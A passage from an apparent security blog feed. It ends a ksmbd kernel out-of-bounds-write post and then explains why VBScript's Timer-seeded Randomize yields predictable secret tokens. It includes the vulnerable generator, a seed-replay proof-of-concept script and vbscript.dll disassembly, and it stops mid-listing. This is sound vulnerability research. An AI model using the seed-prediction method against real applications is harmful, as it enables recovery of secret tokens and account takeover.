&lt;p&gt;A flaw in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ksmbd_vfs_stream_write()&lt;/code&gt; allows out-of-bounds writes when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pos&lt;/code&gt; exceeds &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;XATTR_SIZE_MAX&lt;/code&gt;, enabling corruption of adjacent pages with kernel objects. Local exploitation can reliably escalate privileges. Remote exploitation is considerably more challenging: an attacker would be constrained to the code paths and objects exposed by ksmbd, and a successful remote attack would additionally require an information leak to defeat KASLR and make the heap grooming reliable.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html&quot;&gt;Andy Nguyen - CVE-2021-22555: Turning \x00\x00 into 10000$&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ruffell.nz/programming/writeups/2019/02/15/looking-at-kmalloc-and-the-slub-memory-allocator.html&quot;&gt;Matthew Ruffell - Looking at kmalloc() and the SLUB Memory Allocator&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sam4k.com/linternals/&quot;&gt;sam4k - Linternals series (Memory Allocators/Memory Management)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html&quot;&gt;corCTF 2021 Fire of Salvation Writeup: Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Yet Another Random Story: VBScript's Randomize Internals</title>
   <link href="https://blog.doyensec.com/2025/09/25/yet-another-random-story.html"/>
   <updated>2025-09-25T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2025/09/25/yet-another-random-story</id>
   <content type="html">&lt;p&gt;In one of our &lt;a href=&quot;https://blog.doyensec.com/2025/08/19/trivial-exploit-on-C-random.html&quot;&gt;recent posts&lt;/a&gt;, Dennis shared an interesting case study of C# exploitation that rode on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Random&lt;/code&gt;-based password-reset tokens. He demonstrated how to use the single-packet attack, or a bit of old-school math, to beat the game. Recently, I performed a security test on a target which had a dependency written in VBScript. This blog post focuses on VBS’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rnd&lt;/code&gt; and shows that the situation there is even worse.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/dice_rolling.png&quot; alt=&quot;VBScript Dice Rolling&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 400px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h2 id=&quot;target-application&quot;&gt;Target Application&lt;/h2&gt;

&lt;p&gt;The application was responsible for generating a secret token. The token was supposed to be unpredictable and expected to remain secret. Here’s a rough copy of the token generation code:&lt;/p&gt;

&lt;div class=&quot;language-vb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&amp;amp;^%$#@!&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GenerateToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charsLength&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;charsLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;	
	
	&lt;span class=&quot;k&quot;&gt;For&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;To&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Randomize&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Rnd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charsLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;Next&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;GenerateToken&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;	
&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;function&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The first thing I noticed was that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; function was called inside a loop. That should reseed the PRNG on every single iteration, right? That could result in repeated values. Well, contrary to many other programming languages, in VBScript, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; usage within a loop is not a problem per se. The function will not reset the initial state if the same seed is passed again (even if implicitly). This prevents generating identical sequences of characters within a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GenerateToken&lt;/code&gt; call. If you actually want that behavior, call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rnd&lt;/code&gt; with a &lt;a href=&quot;https://www.vbsedit.com/html/ac1ef1bb-f1d8-4369-af7f-ddd89c926250.asp&quot;&gt;negative argument&lt;/a&gt; immediately before calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; with a numeric argument.&lt;/p&gt;

&lt;p&gt;But if that isn’t an issue, then what is?&lt;/p&gt;

&lt;h2 id=&quot;how-vbss-randomize-works-in-practice&quot;&gt;How VBS’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; Works in Practice&lt;/h2&gt;

&lt;p&gt;Here’s a short API breakdown:&lt;/p&gt;

&lt;div class=&quot;language-vb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Randomize&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;' seed the global PRNG using the system clock&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;Randomize&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;' seed the global PRNG using a specified seed value&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Rnd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;     &lt;span class=&quot;c1&quot;&gt;' next float in [0,1)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If no seed is explicitly specified, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; uses &lt;a href=&quot;https://www.vbsedit.com/html/700b6bc7-b482-4e3f-a20a-894fb5f0e970.asp&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Timer&lt;/code&gt;&lt;/a&gt; to set it (not entirely true, but we will get there). &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Timer()&lt;/code&gt; returns seconds since midnight as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Single&lt;/code&gt; value. ￼&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rnd()&lt;/code&gt; advances a global PRNG state and is fully deterministic for a given seed. Same seed, same sequence, like in other programming languages.&lt;/p&gt;

&lt;p&gt;There are some problematic parts here, though. Windows’ default system clock tick is about 15.625 ms, i.e., 64 ticks per second. In other words, we get a new implicit seed value only once every 15.625 milliseconds.&lt;/p&gt;

&lt;p&gt;Because the returned value is of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Single&lt;/code&gt;, we also get precision loss compared to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Double&lt;/code&gt; type. In fact, multiple “seeds” round to the same internal value. Think of collisions happening internally. As a result, there are way fewer unique sequences possible than you might think!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In practice there are at most 65,536 distinct effective seedings (details below). Because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Timer()&lt;/code&gt; resets at midnight, the same set recurs each day.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We ran a local copy of the client’s code to generate unique tokens. During almost 10,000 runs, we managed to generate only 400 unique values. The remaining tokens were duplicates. As time passed, the duplicate ratio increased.&lt;/p&gt;

&lt;p&gt;Of course the real goal here would be to recover the original secret. We can achieve that if we know the time of day when the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GenerateToken&lt;/code&gt; function started. The more precise the value, the less computations required. However, even if we have only a rough idea, like “minutes after midnight”, we can start at 00:00 and slowly increase our seed value by 15.625 milliseconds.&lt;/p&gt;

&lt;h2 id=&quot;the-poc&quot;&gt;The PoC&lt;/h2&gt;

&lt;p&gt;We started by double-checking our strategy. We modified the initial code to use a command-line provided seed value. Note, the same seed is used multiple times. While in the original code, it is possible that seed value changes between the loop iterations, in practice that doesn’t happen often. We could expand our PoC to handle such scenarios as well, but we wanted to keep the code as clean as possible for the readability.&lt;/p&gt;

&lt;div class=&quot;language-vb highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;Option&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Explicit&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;If&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Count&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Then&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;VBS_Error: Requires 1 seed argument.&quot;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Quit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;If&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;seedToTest&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;seedToTest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Seed: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seedToTest&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&amp;amp;^%$#@!&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;n&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;WScript&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Echo&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Predicted token: &quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GenerateToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seedToTest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GenerateToken&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charsLength&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;charsLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;	
	
	&lt;span class=&quot;k&quot;&gt;For&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;To&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;Randomize&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;seed&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Rnd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;charsLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Mid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pos&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;Next&lt;/span&gt;
	
	&lt;span class=&quot;n&quot;&gt;GenerateToken&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;	
&lt;span class=&quot;n&quot;&gt;end&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;function&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We took a precise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Timer()&lt;/code&gt; value from another piece of code and used it as an input seed. Strangely though, it wasn’t working. For some reason we were ending up with a completely different PRNG state. It took a while before we understood that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Randomize Timer()&lt;/code&gt; aren’t exactly the same things.&lt;/p&gt;

&lt;p&gt;VBScript was introduced by Microsoft in the mid-1990s as a lightweight, interpreted subset of Visual Basic. As of Windows 11 version 24H2, VBScript is a Feature on Demand (FOD). That means it is installed by default for now, but Microsoft &lt;a href=&quot;https://techcommunity.microsoft.com/blog/windows-itpro-blog/vbscript-deprecation-timelines-and-next-steps/4148301&quot;&gt;plans to disable it in future versions and ultimately remove it&lt;/a&gt;. Still, the method of interest is implemented within the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vbscript.dll&lt;/code&gt; library and we can take a look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vbscript!VbsRandomize&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;; edi = argc&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;vbscript&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VbsRandomize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076a0 85ff            test    edi,edi            ; is argc == 0 ?
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076a2&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;755&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;b&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;jne&lt;/span&gt;     &lt;span class=&quot;nv&quot;&gt;vbscript&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;VbsRandomize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0xaf&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; if not zero, goto Randomize &amp;lt;seed&amp;gt; path&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; otherwise, seed taken from current time&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076a4 488d4c2420      lea     rcx,[rsp+20h]
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076a9&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ff15...&lt;/span&gt;       &lt;span class=&quot;nv&quot;&gt;call&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;GetLocalTime&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; build &quot;seconds&quot; = hh*3600 + mm*60 + ss&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076b5 0fb7442428      movzx   eax,word ptr [rsp+28h]
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076ba&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;bc83c&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;imul&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;3Ch&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076bd 0fb744242a      movzx   eax,word ptr [rsp+2Ah]
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076c2&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;c8&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;  
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076c4 0fb744242c      movzx   eax,word ptr [rsp+2Ch]
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076c9&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;bd13c&lt;/span&gt;          &lt;span class=&quot;nv&quot;&gt;imul&lt;/span&gt;    &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;3Ch&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076cc&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d0&lt;/span&gt;            &lt;span class=&quot;nv&quot;&gt;add&lt;/span&gt;     &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;; convert milliseconds to double, divide by 1000.0&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076ce 0fb744242e      movzx   eax,word ptr [rsp+2Eh]
00007ffc`&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;d076d3&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;660&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;f6ec0&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;movd&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;xmm0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;err&quot;&gt;00007&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ffc&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;`12d076d7 f30fe6c0        cvtdq2pd xmm0,xmm0
